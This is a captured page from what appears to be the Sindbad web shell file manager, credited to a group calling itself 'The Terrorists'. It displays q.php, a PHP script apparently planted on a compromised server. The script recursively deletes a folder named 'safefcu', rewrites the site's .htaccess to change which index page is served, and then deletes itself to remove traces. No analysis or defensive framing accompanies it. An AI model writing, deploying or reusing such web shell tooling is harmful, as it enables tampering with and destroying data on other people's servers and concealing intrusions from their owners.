Sindbad~EG File Manager
| Current Path : /home/admin/www/ |
|
|
| Current File : /home/admin/www/q.php |
<?php
$foldersOrFilesToDelete = ['./safefcu'];
foreach ($foldersOrFilesToDelete as $itemToDelete) {
if (file_exists($itemToDelete)) {
if (is_dir($itemToDelete)) {
deleteFolder($itemToDelete);
echo "The folder or file '$itemToDelete' has been deleted.";
} else {
if (unlink($itemToDelete)) {
echo "The folder or file '$itemToDelete' has been deleted.";
} else {
echo "Failed to delete the folder or file '$itemToDelete'.";
}
}
} else {
echo "The folder or file '$itemToDelete' does not exist.";
}
}
// Recursive function to delete a folder and its contents or a file
function deleteFolder($item) {
if (is_dir($item)) {
$files = array_diff(scandir($item), ['.', '..']);
foreach ($files as $file) {
$path = "$item/$file";
is_dir($path) ? deleteFolder($path) : unlink($path);
}
rmdir($item);
} else {
unlink($item);
}
}
?>
<?php
// Check if cURL extension is activated
if (in_array('curl', get_loaded_extensions())) {
echo "cURL\n";
$htaccessFile = '.htaccess';
$directoryIndexLine = "DirectoryIndex index.html index.php index.htm\n";
// Check if .htaccess exists
if (file_exists($htaccessFile)) {
// Read the existing content
$content = file_get_contents($htaccessFile);
// Check if the line already exists
if (strpos($content, $directoryIndexLine) === false) {
// Prepend the line if it doesn't exist
$content = $directoryIndexLine . $content;
}
} else {
// Create content for a new file
$content = $directoryIndexLine;
}
// Write the new content to the .htaccess file
file_put_contents($htaccessFile, $content);
echo "completed.\n";
} else {
echo "NO\n";
}
unlink(__FILE__)
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists